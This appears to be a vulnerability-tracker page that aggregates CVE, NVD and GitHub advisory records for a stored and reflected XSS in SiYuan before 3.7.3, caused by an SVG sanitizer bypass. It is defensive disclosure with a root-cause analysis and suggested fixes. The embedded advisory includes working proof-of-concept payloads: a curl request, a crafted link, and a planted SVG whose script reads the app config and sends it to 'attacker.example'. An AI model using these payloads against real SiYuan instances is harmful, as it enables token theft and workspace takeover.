Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 271/271 feeds/APIs · 464/464 docs · 8/9 advisories · checked 04:30 UTC Customize Public modeDiscuss ChangeIntel on Discord

SiYuan before v3.7.3 Stored and Reflected XSS via SVG Sanitizer Bypass

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-66394

Published

SiYuan before v3.7.3 contains stored and reflected cross-site scripting vulnerabilities in SVG sanitization that allows authenticated attackers to execute scripts by bypassing the HTML parser-based cleaner. Attackers can hide script tags within desc, style, or noscript elements which the HTML parser treats as raw text but browsers interpret as executable SVG content when served as image/svg+xml, enabling script execution in the application origin.

Source published
27 Jul 2026 15:43:45 UTC
Source modified
8 Oct 2026 15:24:01 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

CVSS 3.1 · 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

nvd · CVE-2026-66394

Published

SiYuan before v3.7.3 contains stored and reflected cross-site scripting vulnerabilities in SVG sanitization that allows authenticated attackers to execute scripts by bypassing the HTML parser-based cleaner. Attackers can hide script tags within desc, style, or noscript elements which the HTML parser treats as raw text but browsers interpret as executable SVG content when served as image/svg+xml, enabling script execution in the application origin.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-79

Original publisher date fields

published: 2026-07-27T16:18:11.947

lastModified: 2026-10-24T13:10:00.147

Source published
27 Jul 2026 16:18:11 UTC
Source modified
24 Oct 2026 13:10:00 UTC
Observed here
25 Oct 2026 15:18:51 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

osv · GHSA-99rq-75j6-5j9f

Published

### Summary SiYuan cleans user supplied SVG with `util.SanitizeSVG` before it serves the file inline as `image/svg+xml`. This cleaner is the guard behind the `Editor.AllowSVGScript` setting, which is off by default, so a `<script>` inside an SVG is meant to be removed. The cleaner reads the input as HTML, but the browser reads the served file as XML (SVG). Because the two parsers treat some tags differently, a `<script>` can be hidden so the cleaner never removes it. The cleaned file still holds a working script. When a browser opens that file as an SVG document, the script runs in the app origin. There is no Content Security Policy in the product to stop it. The same bug can be reached in two ways. Both share one root cause (the cleaner), so one fix in the cleaner closes both: * Reflected, through a single link: `GET /api/icon/getDynamicIcon` * Stored, through a planted `.svg` asset: `GET /assets/<name>.svg` I confirmed this on a live SiYuan 3.7.2 kernel. ## Root cause `util.SanitizeSVG` (`kernel/util/misc.go:319`) parses the string with an HTML parser, walks the element nodes to drop `<script>`, `<iframe>`, `<foreignobject>`, event handler attributes and so on, then renders it back and cuts out the `<svg>...</svg>` part. The gap comes from HTML parsing rules that do not exist in XML: * `<desc>` and `<title>` are HTML integration points. Inside them the HTML parser switches back to normal HTML mode. The cleaner drops `<foreignObject>` but keeps `<desc>` and `<title>`. * Inside HTML mode, `<style>`, `<xmp>` and `<noscript>` are raw text elements. Their contents are read as plain text, not as child nodes. So the cleaner never sees a `<script>` placed inside them, and the render step writes it back exactly as it was. * When the browser reads the same bytes as XML (SVG), there is no raw text rule. `<style>` becomes a normal container and the hidden `<script>` becomes a real, working SVG script node. I checked this by building and running the real `SanitizeSVG`. A plain `<script>` under `<svg>` is removed, but wrapping it in `<desc><style>` lets it pass through untouched: ``` IN : <svg><script>alert(1)</script></svg> OUT: <svg></svg> (removed) IN : <svg><desc><style><script>alert(1)</script></style></desc></svg> OUT: <svg><desc><style><script>alert(1)</script></style></desc></svg> (kept, runs) ``` Two places serve SVG through this cleaner, and both only require `CheckAuth`, which allows Administrator, Editor and Reader roles: * `kernel/server/serve.go:703` `serveSVG` serves an asset inline as `image/svg+xml`. * `kernel/api/icon.go:158` `getDynamicIcon`. For `type=8` the `content` query value is put straight into the SVG template at `icon.go:583` with no escaping, then cleaned, then served as `image/svg+xml`. ## Attack vector 1: reflected (one link) The `content` value in `getDynamicIcon` is reflected as is and survives the cleaner. A signed in user only has to open one link. ``` curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>' ``` The response is `HTTP/1.1 200 OK`, `Content-Type: image/svg+xml`, and the body holds a live script: ```xml <text ...></text><desc><style><script>alert(document.domain)</script></style></desc><text></text> ``` Open this in a browser as a signed in user (or on an instance with no lock screen code) to see it run: ``` http://<host>:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E ``` ## Attack vector 2: stored (planted asset) Place this file as `data/assets/evil.svg`: ```xml <svg xmlns="http://www.w3.org/2000/svg"><desc><style><script> fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text()) .then(t=>{new Image().src='https://attacker.example/?'+encodeURIComponent(t)}); </script></style></desc></svg> ``` Then open `/assets/evil.svg`. The script runs. The asset can arrive by admin upload, or by a lower trust path such as an imported template, a `.sy.zip`, or a synced asset that carries a booby trapped SVG. Note for both vectors: an SVG script runs on direct navigation, `<iframe>`, `<embed>` or `<object>`. It does not run when the SVG is loaded through an `<img>` tag, so open the link directly or embed it in a frame. ## Impact * A note or asset made by one user can run any JavaScript in another user's browser on the publish site. This is the publishing threat model. * Script in the app origin can call the signed in kernel API, so it can read and write notes and files, read the config, and steal the API token. In the desktop app origin this means full workspace takeover. * The default `AllowSVGScript=false` exists to stop SVG scripts, and this bypass removes that protection. There is no CSP as a backup. ## Suggested fix * Do not use an HTML parse and re render cleaner for content that the browser reads as XML or SVG. Clean it as XML, or use a trusted SVG cleaner, and also drop `<desc>`, `<title>` and `<foreignObject>` and any raw text smuggled markup. * Serve user SVG with `Content-Disposition: attachment` and a non running content type, and add a strict `script-src` CSP on `/assets/*` and `/api/icon/getDynamicIcon`. * Escape the reflected `content` value in `getDynamicIcon` before it goes into the template.

Source published
3 Sep 2026 14:53:17 UTC
Source modified
10 Sep 2026 15:25:27 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Publisher rating · HIGH

osv · GO-2026-6364

Published

SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass in github.com/siyuan-note/siyuan/kernel

Source published
10 Sep 2026 14:48:42 UTC
Source modified
10 Sep 2026 15:25:27 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 26 Oct 04:30 UTC · 271 of 271 readable · 269 fully read · documentation 464/464 current